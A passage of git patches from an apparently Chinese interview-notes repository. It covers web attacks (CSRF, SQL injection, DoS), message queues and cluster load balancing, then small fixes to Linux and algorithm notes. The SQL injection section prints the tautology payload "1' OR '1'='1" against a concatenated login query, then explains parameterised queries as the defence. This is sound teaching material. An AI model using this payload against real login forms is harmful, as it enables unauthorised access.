+在访问敏感数据请求时，要求用户浏览器提供不保存在 Cookie 中，并且攻击者无法伪造的数据作为校验。例如服务器生成随机数并附加在表单中，并要求客户端传回这个随机数。
+
+### 3. 输入验证码
+
+因为 CSRF 攻击是在用户无意识的情况下发生的，所以要求用户输入验证码可以让用户知道自己正在做的操作。
+
+也可以要求用户输入验证码来进行校验。
+
+# 三、SQL 注入攻击
+
+## 概念
+
+服务器上的数据库运行非法的 SQL 语句，主要通过拼接来完成。
+
+## 攻击原理
+
+例如一个网站登录验证的 SQL 查询代码为：
+
+```sql
+strSQL = "SELECT * FROM users WHERE (name = '" + userName + "') and (pw = '"+ passWord +"');"
+```
+
+如果填入以下内容：
+
+```sql
+userName = "1' OR '1'='1";
+passWord = "1' OR '1'='1";
+```
+
+那么 SQL 查询字符串为：
+
+```sql
+strSQL = "SELECT * FROM users WHERE (name = '1' OR '1'='1') and (pw = '1' OR '1'='1');"
+```
+
+此时无需验证通过就能执行以下查询：
+
+```sql
+strSQL = "SELECT * FROM users;"
+```
+
+## 防范手段
+
+### 1. 使用参数化查询
+
+Java 中的 PreparedStatement 是预先编译的 SQL 语句，可以传入适当参数并且多次执行。由于没有拼接的过程，因此可以防止 SQL 注入的发生。
+
+```java
+PreparedStatement stmt = connection.prepareStatement("SELECT * FROM users WHERE userid=? AND password=?");
+stmt.setString(1, userid);
+stmt.setString(2, password);
+ResultSet rs = stmt.executeQuery();
+```
+
+### 2. 单引号转换
+
+将传入的参数中的单引号转换为连续两个单引号，PHP 中的 Magic quote 可以完成这个功能。
+
+# 四、拒绝服务攻击
+
+拒绝服务攻击（denial-of-service attack，DoS），亦称洪水攻击，其目的在于使目标电脑的网络或系统资源耗尽，使服务暂时中断或停止，导致其正常用户无法访问。
+
+分布式拒绝服务攻击（distributed denial-of-service attack，DDoS），指攻击者使用网络上两个或以上被攻陷的电脑作为“僵尸”向特定的目标发动“拒绝服务”式攻击。
+
+# 参考资料
+
+- [维基百科：跨站脚本](https://zh.wikipedia.org/wiki/%E8%B7%A8%E7%B6%B2%E7%AB%99%E6%8C%87%E4%BB%A4%E7%A2%BC)
+- [维基百科：SQL 注入攻击](https://zh.wikipedia.org/wiki/SQL%E8%B3%87%E6%96%99%E9%9A%B1%E7%A2%BC%E6%94%BB%E6%93%8A)
+- [维基百科：跨站点请求伪造](https://zh.wikipedia.org/wiki/%E8%B7%A8%E7%AB%99%E8%AF%B7%E6%B1%82%E4%BC%AA%E9%80%A0)
+- [维基百科：拒绝服务攻击](https://zh.wikipedia.org/wiki/%E9%98%BB%E6%96%B7%E6%9C%8D%E5%8B%99%E6%94%BB%E6%93%8A)
diff --git a/notes/消息队列.md b/notes/消息队列.md
new file mode 100644
index 00000000..795e814b
--- /dev/null
+++ b/notes/消息队列.md
@@ -0,0 +1,80 @@
+<!-- GFM-TOC -->
+* [一、消息模型](#一消息模型)
+    * [点对点](#点对点)
+    * [发布/订阅](#发布订阅)
+* [二、使用场景](#二使用场景)
+    * [异步处理](#异步处理)
+    * [流量削锋](#流量削锋)
+    * [应用解耦](#应用解耦)
+* [三、可靠性](#三可靠性)
+* [发送端的可靠性](#发送端的可靠性)
+* [接收端的可靠性](#接收端的可靠性)
+<!-- GFM-TOC -->
+
+
+# 一、消息模型
+
+## 点对点
+
+消息生产者向消息队列中发送了一个消息之后，只能被一个消费者消费一次。
+
+<div align="center"> <img src="../pics//09b52bcb-88ba-4e36-8244-b375f16ad116.jpg"/> </div><br>
+
+## 发布/订阅
+
+消息生产者向频道发送一个消息之后，多个消费者可以从该频道订阅到这条消息并消费。
+
+<div align="center"> <img src="../pics//ddb5ff4c-4ada-46aa-9bf1-140bdb5e4676.jpg"/> </div><br>
+
+发布与订阅模式和观察者模式有以下不同：
+
+- 观察者模式中，观察者和主题都知道对方的存在；而在发布与订阅模式中，发布者与订阅者不知道对方的存在，它们之间通过频道进行通信。
+- 观察者模式是同步的，当事件触发时，主题会去调用观察者的方法，然后等待方法返回；而发布与订阅模式是异步的，发布者向频道发送一个消息之后，就不需要关心订阅者何时去订阅这个消息。
+
+<div align="center"> <img src="../pics//bee1ff1d-c80f-4b3c-b58c-7073a8896ab2.jpg"/> </div><br>
+
+参考：
+
+- [Observer vs Pub-Sub](http://developers-club.com/posts/270339/)
+- [消息队列中点对点与发布订阅区别](https://blog.csdn.net/lizhitao/article/details/47723105)
+
+# 二、使用场景
+
+## 异步处理
+
+发送者将消息发送给消息队列之后，不需要同步等待消息接收者处理完毕，而是立即返回进行其它操作。消息接收者从消息队列中订阅消息之后异步处理。
+
+例如在注册流程中通常需要发送验证邮件来确保注册用户的身份合法，可以使用消息队列使发送验证邮件的操作异步处理，用户在填写完注册信息之后就可以完成注册，而将发送验证邮件这一消息发送到消息队列中。
+
+只有在业务流程允许异步处理的情况下才能这么做，例如上面的注册流程中，如果要求用户对验证邮件进行点击之后才能完成操作的话，就不能再使用消息队列。
+
+## 流量削锋
+
+在高并发的场景下，如果短时间有大量的请求会压垮服务器。
+
+可以将请求发送到消息队列中，服务器按照其处理能力从消息队列中订阅消息进行处理。
+
+## 应用解耦
+
+如果模块之间不直接进行调用，模块之间耦合度很低，那么修改一个模块或者新增一个模块对其它模块的影响会很小，从而实现可扩展性。
+
+通过使用消息队列，一个模块只需要向消息队列中发送消息，其它模块可以选择性地从消息队列中订阅消息从而完成调用。
+
+# 三、可靠性
+
+# 发送端的可靠性
+
+发送端完成操作后一定能将消息成功发送到消息队列中。
+
+实现方法：
+
+- 在本地数据库建一张消息表，将消息数据与业务数据保存在同一数据库实例里，这样就可以利用本地数据库的事务机制。事务提交成功后，将消息表中的消息转移到消息队列中，若转移消息成功则删除消息表中的数据，否则继续重传。
+
+# 接收端的可靠性
+
+接收端能够从消息中间件成功消费一次消息。
+
+实现方法：
+
+- 保证接收端处理消息的业务逻辑具有幂等性：只要具有幂等性，那么消费多少次消息，最后处理的结果都是一样的。
+- 保证消息具有唯一编号，并使用一张日志表来记录已经消费的消息编号。
diff --git a/notes/集群.md b/notes/集群.md
new file mode 100644
index 00000000..b36a0bfe
--- /dev/null
+++ b/notes/集群.md
@@ -0,0 +1,194 @@
+<!-- GFM-TOC -->
+* [一、负载均衡](#一负载均衡)
+    * [算法实现](#算法实现)
+    * [转发实现](#转发实现)
+* [二、集群下的 Session 管理](#二集群下的-session-管理)
+    * [Sticky Sessions](#sticky-sessions)
+    * [Session Replication](#session-replication)
+    * [Session Server](#session-server)
+<!-- GFM-TOC -->
+
+
+# 一、负载均衡
+
+集群中的应用服务器通常被设计成无状态，用户可以请求任何一个节点（应用服务器）。
+
+负载均衡器会根据集群中每个节点的负载情况，将用户请求转发到合适的节点上。
+
+负载均衡器可以用来实现高可用以及伸缩性：
+
+- 高可用：当某个节点故障时，负载均衡器不会将用户请求转发到该节点上，从而保证所有服务持续可用；
+- 伸缩性：可以很容易地添加移除节点。
+
+负载均衡运行过程包含两个部分：
+
+1. 根据负载均衡算法得到应该将请求转发到哪个节点上；
+2. 将请求进行转发；
+
+## 算法实现
+
+### 1. 轮询（Round Robin）
+
+轮询算法把每个请求轮流发送到每个服务器上。下图中，一共有 6 个客户端产生了 6 个请求，这 6 个请求按 (1, 2, 3, 4, 5, 6) 的顺序发送。最后，(1, 3, 5) 的请求会被发送到服务器 1，(2, 4, 6) 的请求会被发送到服务器 2。
+
+<div align="center"> <img src="../pics//2766d04f-7dad-42e4-99d1-60682c9d5c61.jpg"/> </div><br>
+
+该算法比较适合每个服务器的性能差不多的场景，如果有性能存在差异的情况下，那么性能较差的服务器可能无法承担过大的负载（下图的 Server 2）。
+
+<div align="center"> <img src="../pics//f7ecbb8d-bb8b-4d45-a3b7-f49425d6d83d.jpg"/> </div><br>
+
+### 2. 加权轮询（Weighted Round Robbin）
+
+加权轮询是在轮询的基础上，根据服务器的性能差异，为服务器赋予一定的权值，性能高的服务器分配更高的权值。例如下图中，服务器 1 被赋予的权值为 5，服务器 2 被赋予的权值为 1，那么 (1, 2, 3, 4, 5) 请求会被发送到服务器 1，(6) 请求会被发送到服务器 2。
+
+<div align="center"> <img src="../pics//211c60d4-75ca-4acd-8a4f-171458ed58b4.jpg"/> </div><br>
+
+### 3. 最少连接（least Connections）
+
+由于每个请求的连接时间不一样，使用轮询或者加权轮询算法的话，可能会让一台服务器当前连接数过大，而另一台服务器的连接过小，造成负载不均衡。例如下图中，(1, 3, 5) 请求会被发送到服务器 1，但是 (1, 3) 很快就断开连接，此时只有 (5) 请求连接服务器 1；(2, 4, 6) 请求被发送到服务器 2，只有 (2) 的连接断开。该系统继续运行时，服务器 2 会承担过大的负载。
+
+<div align="center"> <img src="../pics//3b0d1aa8-d0e0-46c2-8fd1-736bf08a11aa.jpg"/> </div><br>
+
+最少连接算法就是将请求发送给当前最少连接数的服务器上。例如下图中，服务器 1 当前连接数最小，那么新到来的请求 6 就会被发送到服务器 1 上。
+
+<div align="center"> <img src="../pics//1f4a7f10-52b2-4bd7-a67d-a9581d66dc62.jpg"/> </div><br>
+
+### 4. 加权最少连接（Weighted Least Connection）
+
+在最少连接的基础上，根据服务器的性能为每台服务器分配权重，再根据权重计算出每台服务器能处理的连接数。
+
+<div align="center"> <img src="../pics//44edefb7-4b58-4519-b8ee-4aca01697b78.jpg"/> </div><br>
+
+### 5. 随机算法（Random）
+
+把请求随机发送到服务器上。和轮询算法类似，该算法比较适合服务器性能差不多的场景。
+
+<div align="center"> <img src="../pics//0ee0f61b-c782-441e-bf34-665650198ae0.jpg"/> </div><br>
+
+### 6. 源地址哈希法 (IP Hash)
+
+源地址哈希通过对客户端 IP 计算哈希值之后，再对服务器数量进行取模运算得到目标服务器的序号。可以保证同一 IP 的客户端的请求会转发到同一台服务器上，可以用来实现会话粘滞（Sticky Session）
+
+<div align="center"> <img src="../pics//2018040302.jpg"/> </div><br>
+
+## 转发实现
+
+### 1. HTTP 重定向
+
+HTTP 重定向负载均衡服务器使用某种负载均衡算法计算得到服务器的 IP 地址之后，将该地址写入 HTTP 重定向报文中，状态码为 302。客户端收到重定向报文之后，需要重新向服务器发起请求。
+
+缺点：
+
+- 需要两次请求，因此访问延迟比较高；
+- HTTP 负载均衡器处理能力有限，会限制集群的规模。
+
+该负载均衡转发的缺点比较明显，实际场景中很少使用它。
+
+<div align="center"> <img src="../pics//c5f611f0-fd5c-4158-9003-278141136e6e.jpg"/> </div><br>
+
+### 2. DNS 域名解析
+
+在 DNS 解析域名的同时使用负载均衡算法计算服务器地址。
+
+优点：
+
+- DNS 能够根据地理位置进行域名解析，返回离用户最近的服务器 IP 地址。
+
+缺点：
+
+- 由于 DNS 具有多级结构，每一级的域名记录都可能被缓存，当下线一台服务器需要修改 DNS 记录时，需要过很长一段时间才能生效；
+
+大型网站基本使用了 DNS 做为第一级负载均衡手段，然后在内部使用其它方式做第二级负载均衡。也就是说，域名解析的结果为内部的负载均衡服务器 IP 地址。
+
+<div align="center"> <img src="../pics//76a25fc8-a579-4d7c-974b-7640b57fbf39.jpg"/> </div><br>
+
+### 3. 反向代理服务器
+
+首先了解一下正向代理与反向代理的区别：
+
+- 正向代理：发生在客户端，是由用户主动发起的。比如翻墙，客户端通过主动访问代理服务器，让代理服务器获得需要的外网数据，然后转发回客户端；
+- 反向代理：发生在服务器端，用户不知道代理的存在。
+
+反向代理服务器位于源服务器前面，用户的请求需要先经过反向代理服务器才能到达源服务器。反向代理可以用来进行缓存、日志记录等，同时也可以用来做为负载均衡服务器。
+
+在这种负载均衡转发方式下，客户端不直接请求源服务器，因此源服务器不需要外部 IP 地址，而反向代理需要配置内部和外部两套 IP 地址。
+
+优点：
+
+- 与其它功能集成在一起，部署简单。
+
+缺点：
+
+- 所有请求和响应都需要经过反向代理服务器，它可能会成为性能瓶颈。
+
+### 4. 网络层
+
+负载均衡服务器在操作系统内核进程获取网络数据包，根据负载均衡算法计算源服务器的 IP 地址，并修改请求数据包的目的 IP 地址，最后进行转发。
+
+源服务器返回的响应也需要经过负载均衡服务器，通常是让负载均衡服务器同时作为集群的网关服务器来实现。
+
+优点：
+
+- 在内核进程中进行处理，性能比较高。
+
+缺点：
+
+- 和反向代理一样，所有的请求和相应都经过负载均衡服务器，会成为性能瓶颈。
+
+### 5. 链路层
+
+在链路层根据负载均衡算法计算源服务器的 MAC 地址，并修改请求数据包的目的 MAC 地址，并进行转发。
+
+通过配置源服务器的虚拟 IP 地址和负载均衡服务器的 IP 地址一致，从而不需要需要 IP 地址就可以进行转发。也正因为 IP 地址一样，所以源服务器的响应不需要转发回负载均衡服务器，直接转发给客户端，避免了负载均衡服务器的成为瓶颈。这是一种三角传输模式，被称为直接路由，对于提供下载和视频服务的网站来说，直接路由避免了大量的网络传输数据经过负载均衡服务器。
+
+这是目前大型网站使用最广负载均衡转发方式，在 Linux 平台可以使用 LVS（Linux Virtual Server）。
+
+参考：
+
+- [Comparing Load Balancing Algorithms](http://www.jscape.com/blog/load-balancing-algorithms)
+- [Redirection and Load Balancing](http://slideplayer.com/slide/6599069/#)
+
+# 二、集群下的 Session 管理
+
+一个用户的 Session 信息如果存储在一个服务器上，那么当负载均衡器把用户的下一个请求转发到另一个服务器，由于服务器没有用户的 Session 信息，那么该用户就需要重新进行登录等操作。
+
+## Sticky Sessions
+
+需要配置负载均衡器，使得一个用户的所有请求都路由到同一个服务器，这样就可以把用户的 Session 存放在该服务器中。
+
+缺点：
+
+- 当服务器宕机时，将丢失该服务器上的所有 Session。
+
+<div align="center"> <img src="../pics//MultiNode-StickySessions.jpg"/> </div><br>
+
+## Session Replication
+
+在服务器之间进行 Session 同步操作，每个服务器都有所有用户的 Session 信息，因此用户可以向任何一个服务器进行请求。
+
+缺点：
+
+- 占用过多内存；
+- 同步过程占用网络带宽以及服务器处理器时间。
+
+
+<div align="center"> <img src="../pics//MultiNode-SessionReplication.jpg"/> </div><br>
+
+## Session Server
+
+使用一个单独的服务器存储 Session 数据，可以使用 MySQL，也使用 Redis 或者 Memcached 这种内存型数据库。
+
+优点：
+
+- 为了使得大型网站具有伸缩性，集群中的应用服务器通常需要保持无状态，那么应用服务器不能存储用户的会话信息。Session Server 将用户的会话信息单独进行存储，从而保证了应用服务器的无状态。
+
+缺点：
+
+- 需要去实现存取 Session 的代码。
+
+<div align="center"> <img src="../pics//MultiNode-SpringSession.jpg"/> </div><br>
+
+参考：
+
+- [Session Management using Spring Session with JDBC DataStore](https://sivalabs.in/2018/02/session-management-using-spring-session-jdbc-datastore/)
+
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From 4ba3fdf7f2f00069a61267f3e341fe157a07dac7 Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Sat, 28 Jul 2018 01:08:20 +0800
Subject: [PATCH 10/87] auto commit

---
 notes/消息队列.md | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/notes/消息队列.md b/notes/消息队列.md
index 795e814b..e28fcd3f 100644
--- a/notes/消息队列.md
+++ b/notes/消息队列.md
@@ -7,8 +7,8 @@
     * [流量削锋](#流量削锋)
     * [应用解耦](#应用解耦)
 * [三、可靠性](#三可靠性)
-* [发送端的可靠性](#发送端的可靠性)
-* [接收端的可靠性](#接收端的可靠性)
+    * [发送端的可靠性](#发送端的可靠性)
+    * [接收端的可靠性](#接收端的可靠性)
 <!-- GFM-TOC -->
 
 
@@ -62,7 +62,7 @@
 
 # 三、可靠性
 
-# 发送端的可靠性
+## 发送端的可靠性
 
 发送端完成操作后一定能将消息成功发送到消息队列中。
 
@@ -70,7 +70,7 @@
 
 - 在本地数据库建一张消息表，将消息数据与业务数据保存在同一数据库实例里，这样就可以利用本地数据库的事务机制。事务提交成功后，将消息表中的消息转移到消息队列中，若转移消息成功则删除消息表中的数据，否则继续重传。
 
-# 接收端的可靠性
+## 接收端的可靠性
 
 接收端能够从消息中间件成功消费一次消息。
 

From ca34d61172257f2ebafac0254cc97ec639612c97 Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Sat, 28 Jul 2018 09:05:02 +0800
Subject: [PATCH 11/87] auto commit

---
 README.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/README.md b/README.md
index f777d200..63067ac8 100644
--- a/README.md
+++ b/README.md
@@ -109,7 +109,7 @@ Leetcode 上数据库题目的解题记录。
 
 分布式锁、分布式事务、CAP、BASE、Paxos、Raft
 
-> [集群](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/分布式问题分析.md)
+> [集群](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/集群.md)
 
 负载均衡、Session 管理
 

From 041457d8f93cfcf4b3570a26ca3e2c190acc4b2d Mon Sep 17 00:00:00 2001
From: kenny <411316753@qq.com>
Date: Sat, 28 Jul 2018 11:46:38 +0800
Subject: [PATCH 12/87] Update Linux.md

---
 notes/Linux.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notes/Linux.md b/notes/Linux.md
index 705b9b0d..6325e86e 100644
--- a/notes/Linux.md
+++ b/notes/Linux.md
@@ -903,7 +903,7 @@ declare -x HOME="/home/dmtsai"
 declare -x HOSTNAME="study.centos.vbird"
 .....(其他省略).....
 
-$ export | cut -c 12
+$ export | cut -c 12-
 ```
 
 ## 排序指令

From 6d8cef8cd1d2ed8ea9327d1c0cddfe05b8e8eb2f Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Sun, 29 Jul 2018 11:24:25 +0800
Subject: [PATCH 13/87] auto commit

---
 notes/Linux.md           |  2 +-
 notes/剑指 offer 题解.md | 12 ++++++------
 2 files changed, 7 insertions(+), 7 deletions(-)

diff --git a/notes/Linux.md b/notes/Linux.md
index 705b9b0d..6325e86e 100644
--- a/notes/Linux.md
+++ b/notes/Linux.md
@@ -903,7 +903,7 @@ declare -x HOME="/home/dmtsai"
 declare -x HOSTNAME="study.centos.vbird"
 .....(其他省略).....
 
-$ export | cut -c 12
+$ export | cut -c 12-
 ```
 
 ## 排序指令
diff --git a/notes/剑指 offer 题解.md b/notes/剑指 offer 题解.md
index e1655922..05d43578 100644
--- a/notes/剑指 offer 题解.md	
+++ b/notes/剑指 offer 题解.md	
@@ -898,7 +898,7 @@ public double Power(double base, int exponent) {
 
 ## 题目描述
 
-输入数字 n，按顺序打印出从 1 最大的 n 位十进制数。比如输入 3，则打印出 1、2、3 一直到最大的 3 位数即 999。
+输入数字 n，按顺序打印出从 1 到最大的 n 位十进制数。比如输入 3，则打印出 1、2、3 一直到最大的 3 位数即 999。
 
 ## 解题思路
 
@@ -911,16 +911,16 @@ public void print1ToMaxOfNDigits(int n) {
     if (n <= 0)
         return;
     char[] number = new char[n];
-    print1ToMaxOfNDigits(number, -1);
+    print1ToMaxOfNDigits(number, 0);
 }
 
 private void print1ToMaxOfNDigits(char[] number, int digit) {
-    if (digit == number.length - 1) {
+    if (digit == number.length) {
         printNumber(number);
         return;
     }
     for (int i = 0; i < 10; i++) {
-        number[digit + 1] = (char) (i + '0');
+        number[digit] = (char) (i + '0');
         print1ToMaxOfNDigits(number, digit + 1);
     }
 }
@@ -1050,13 +1050,13 @@ public boolean match(char[] str, char[] pattern) {
 
 ```html
 []  ： 字符集合
-()  ： 分组，在这里是为了让表达式更清晰
+()  ： 分组
 ?   ： 重复 0 ~ 1
 +   ： 重复 1 ~ n
 *   ： 重复 0 ~ n
 .   ： 任意字符
 \\. ： 转义后的 .
-\\d ： 任意数字
+\\d ： 数字
 ```
 
 ```java

From 65a50dbc7edfae216060432242280f66e39e05a7 Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Sun, 29 Jul 2018 12:38:35 +0800
Subject: [PATCH 14/87] auto commit

---
 notes/剑指 offer 题解.md                      |   2 +-
 pics/f94389e9-55b1-4f49-9d37-00ed05900ae0.png | Bin 0 -> 12288 bytes
 2 files changed, 1 insertion(+), 1 deletion(-)
 create mode 100644 pics/f94389e9-55b1-4f49-9d37-00ed05900ae0.png

diff --git a/notes/剑指 offer 题解.md b/notes/剑指 offer 题解.md
index 05d43578..9cf7dc2a 100644
--- a/notes/剑指 offer 题解.md	
+++ b/notes/剑指 offer 题解.md	
@@ -170,7 +170,7 @@ Given target = 20, return false.
 
 当前元素的查找区间为左下角的所有元素，例如元素 12 的查找区间如下：
 
-<div align="center"> <img src="../pics//026d3cb4-67f7-4a83-884d-8032f57ec446.png" width="250"/> </div><br>
+<div align="center"> <img src="../pics//f94389e9-55b1-4f49-9d37-00ed05900ae0.png" width="250"/> </div><br>
 
 复杂度：O(M + N) + O(1)
 
diff --git a/pics/f94389e9-55b1-4f49-9d37-00ed05900ae0.png b/pics/f94389e9-55b1-4f49-9d37-00ed05900ae0.png
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From dc45cfc14785d4f4a7efb40690fae05c325986a7 Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Sun, 29 Jul 2018 14:12:07 +0800
Subject: [PATCH 15/87] auto commit

---
 notes/剑指 offer 题解.md                      |  20 ++++++++++++------
 pics/27ff9548-edb6-4465-92c8-7e6386e0b185.png | Bin 0 -> 8192 bytes
 pics/280f7728-594f-4811-a03a-fa8d32c013da.png | Bin 0 -> 7168 bytes
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 pics/6539b9a4-2b24-4d10-8c94-2eb5aba1e296.png | Bin 0 -> 17408 bytes
 pics/ea2304ce-268b-4238-9486-4d8f8aea8ca4.png | Bin 0 -> 23552 bytes
 pics/faecea49-9974-40db-9821-c8636137df61.jpg | Bin 0 -> 18432 bytes
 7 files changed, 14 insertions(+), 6 deletions(-)
 create mode 100644 pics/27ff9548-edb6-4465-92c8-7e6386e0b185.png
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 create mode 100644 pics/6539b9a4-2b24-4d10-8c94-2eb5aba1e296.png
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 create mode 100644 pics/faecea49-9974-40db-9821-c8636137df61.jpg

diff --git a/notes/剑指 offer 题解.md b/notes/剑指 offer 题解.md
index 9cf7dc2a..e36e7a85 100644
--- a/notes/剑指 offer 题解.md	
+++ b/notes/剑指 offer 题解.md	
@@ -1,4 +1,5 @@
 <!-- GFM-TOC -->
+* [1. 前言](#1-前言)
 * [2. 实现 Singleton](#2-实现-singleton)
 * [3. 数组中重复的数字](#3-数组中重复的数字)
 * [4. 二维数组中的查找](#4-二维数组中的查找)
@@ -80,6 +81,13 @@
 <!-- GFM-TOC -->
 
 
+# 1. 前言
+
+本文的绘图可通过以下途径免费获得并使用：
+
+- [ProcessOn](https://www.processon.com/view/5a3e4c7be4b0909c1aa18b49)
+- [DrawIO](https://drive.google.com/file/d/1nSSCpPUC05MFoeFuf_aeTtkm7dG5-bJ1/view?usp=sharing)
+
 # 2. 实现 Singleton
 
 [单例模式](https://github.com/CyC2018/Interview-Notebook/blob/master/notes/%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F.md)
@@ -456,7 +464,7 @@ public int pop() throws Exception {
 
 如果使用递归求解，会重复计算一些子问题。例如，计算 f(10) 需要计算 f(9) 和 f(8)，计算 f(9) 需要计算 f(8) 和 f(7)，可以看到 f(8) 被重复计算了。
 
-<div align="center"> <img src="../pics//a0df8edc-581b-4977-95c2-d7025795b899.png" width="300"/> </div><br>
+<div align="center"> <img src="../pics//faecea49-9974-40db-9821-c8636137df61.jpg" width="300"/> </div><br>
 
 递归是将一个问题划分成多个子问题求解，动态规划也是如此，但是动态规划会把子问题的解缓存起来，从而避免重复求解子问题。
 
@@ -941,11 +949,11 @@ private void printNumber(char[] number) {
 
 ① 如果该节点不是尾节点，那么可以直接将下一个节点的值赋给该节点，然后令该节点指向下下个节点，再删除下一个节点，时间复杂度为 O(1)。
 
-<div align="center"> <img src="../pics//41392d76-dd1d-4712-85d9-e8bb46b04a2d.png" width="600"/> </div><br>
+<div align="center"> <img src="../pics//27ff9548-edb6-4465-92c8-7e6386e0b185.png" width="600"/> </div><br>
 
 ② 否则，就需要先遍历链表，找到节点的前一个节点，然后让前一个节点指向 null，时间复杂度为 O(N)。
 
-<div align="center"> <img src="../pics//db4921d4-184b-48ba-a3cf-1d1141e3ba2d.png" width="600"/> </div><br>
+<div align="center"> <img src="../pics//280f7728-594f-4811-a03a-fa8d32c013da.png" width="600"/> </div><br>
 
 综上，如果进行 N 次操作，那么大约需要操作节点的次数为 N-1+N=2N-1，其中 N-1 表示 N-1 个不是尾节点的每个节点以 O(1) 的时间复杂度操作节点的总次数，N 表示 1 个尾节点以 O(N) 的时间复杂度操作节点的总次数。(2N-1)/N \~ 2，因此该算法的平均时间复杂度为 O(1)。
 
@@ -1103,7 +1111,7 @@ public void reOrderArray(int[] nums) {
 
 设链表的长度为 N。设两个指针 P1 和 P2，先让 P1 移动 K 个节点，则还有 N - K 个节点可以移动。此时让 P1 和 P2 同时移动，可以知道当 P1 移动到链表结尾时，P2 移动到 N - K 个节点处，该位置就是倒数第 K 个节点。
 
-<div align="center"> <img src="../pics//207c1801-2335-4b1b-b65c-126a0ba966cb.png" width="500"/> </div><br>
+<div align="center"> <img src="../pics//ea2304ce-268b-4238-9486-4d8f8aea8ca4.png" width="500"/> </div><br>
 
 ```java
 public ListNode FindKthToTail(ListNode head, int k)
@@ -1140,7 +1148,7 @@ public ListNode FindKthToTail(ListNode head, int k)
 
 在相遇点，slow 要到环的入口点还需要移动 z 个节点，如果让 fast 重新从头开始移动，并且速度变为每次移动一个节点，那么它到环入口点还需要移动 x 个节点。在上面已经推导出 x=z，因此 fast 和 slow 将在环入口点相遇。
 
-<div align="center"> <img src="../pics//71363383-2d06-4c63-8b72-c01c2186707d.png" width="600"/> </div><br>
+<div align="center"> <img src="../pics//2858f8ad-aedb-45a5-a706-e98c96d690fa.jpg" width="600"/> </div><br>
 
 ```java
 public ListNode EntryNodeOfLoop(ListNode pHead)
@@ -1346,7 +1354,7 @@ boolean isSymmetrical(TreeNode t1, TreeNode t2)
 
 下图的矩阵顺时针打印结果为：1, 2, 3, 4, 8, 12, 16, 15, 14, 13, 9, 5, 6, 7, 11, 10
 
-<div align="center"> <img src="../pics//0f373947-c68f-45b4-a59e-086154745ac5.png" width="300"/> </div><br>
+<div align="center"> <img src="../pics//6539b9a4-2b24-4d10-8c94-2eb5aba1e296.png" width="300"/> </div><br>
 
 ## 解题思路
 
diff --git a/pics/27ff9548-edb6-4465-92c8-7e6386e0b185.png b/pics/27ff9548-edb6-4465-92c8-7e6386e0b185.png
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From e525c61651f1792b9cfb8898e156df8930b5dfea Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Sun, 29 Jul 2018 15:24:29 +0800
Subject: [PATCH 16/87] auto commit

---
 notes/剑指 offer 题解.md | 19 ++++++++++++++++---
 1 file changed, 16 insertions(+), 3 deletions(-)

diff --git a/notes/剑指 offer 题解.md b/notes/剑指 offer 题解.md
index e36e7a85..47d5d94e 100644
--- a/notes/剑指 offer 题解.md	
+++ b/notes/剑指 offer 题解.md	
@@ -1640,6 +1640,19 @@ private void backtracking(TreeNode node, int target, ArrayList<Integer> path)
 
 输入一个复杂链表（每个节点中有节点值，以及两个指针，一个指向下一个节点，另一个特殊指针指向任意一个节点），返回结果为复制后复杂链表的 head。
 
+```java
+public class RandomListNode
+{
+    int label;
+    RandomListNode next = null;
+    RandomListNode random = null;
+
+    RandomListNode(int label) {
+        this.label = label;
+    }
+}
+```
+
 <div align="center"> <img src="../pics//a01d1516-8168-461a-a24b-620b9cfc40f4.png" width="300"/> </div><br>
 
 ## 解题思路
@@ -1820,7 +1833,7 @@ private void backtracking(char[] chars, boolean[] hasUsed, StringBuilder s)
 
 多数投票问题，可以利用 Boyer-Moore Majority Vote Algorithm 来解决这个问题，使得时间复杂度为 O(N)。
 
-使用 cnt 来统计一个元素出现的次数，当遍历到的元素和统计元素不相等时，令 cnt--。如果前面查找了 i 个元素，且 cnt == 0 ，说明前 i 个元素没有 majority，或者有 majority，但是出现的次数少于 i / 2 ，因为如果多于 i / 2 的话 cnt 就一定不会为 0 。此时剩下的 n - i 个元素中，majority 的数目依然多于 (n - i) / 2，因此继续查找就能找出 majority。
+使用 cnt 来统计一个元素出现的次数，当遍历到的元素和统计元素不相等时，令 cnt--。如果前面查找了 i 个元素，且 cnt == 0，说明前 i 个元素没有 majority，或者有 majority，但是出现的次数少于 i / 2 ，因为如果多于 i / 2 的话 cnt 就一定不会为 0 。此时剩下的 n - i 个元素中，majority 的数目依然多于 (n - i) / 2，因此继续查找就能找出 majority。
 
 ```java
 public int MoreThanHalfNum_Solution(int[] nums)
@@ -1924,7 +1937,7 @@ public ArrayList<Integer> GetLeastNumbers_Solution(int[] nums, int k)
         if (maxHeap.size() > k)
             maxHeap.poll();
     }
-    return new ArrayList<>(maxHeap) ;
+    return new ArrayList<>(maxHeap);
 }
 ```
 
@@ -2005,7 +2018,7 @@ public char FirstAppearingOnce()
 
 ## 题目描述
 
-{6,-3,-2,7,-15,1,2,2}，连续子数组的最大和为 8（从第 0 个开始，到第 3 个为止）。
+{6, -3, -2, 7, -15, 1, 2, 2}，连续子数组的最大和为 8（从第 0 个开始，到第 3 个为止）。
 
 ## 解题思路
 

From 8a42a419be5a062cb59bc19e536e4b3de826e7cb Mon Sep 17 00:00:00 2001
From: fighterhit <fighterhit@163.com>
Date: Mon, 30 Jul 2018 15:26:33 +0800
Subject: [PATCH 17/87] Update Linux.md

---
 notes/Linux.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notes/Linux.md b/notes/Linux.md
index 6325e86e..8f27d75c 100644
--- a/notes/Linux.md
+++ b/notes/Linux.md
@@ -1078,7 +1078,7 @@ dmtsai pts/0 192.168.1.100 Thu Jul 9 17:23 - 23:36 (06:12)
 dmtsai pts/0 192.168.1.100 Thu Jul 9 08:02 - 08:17 (00:14)
 dmtsai tty1 Fri May 29 11:55 - 12:11 (00:15)
 
-$ last -n 5 | awk '{print $1 "\t" $3}
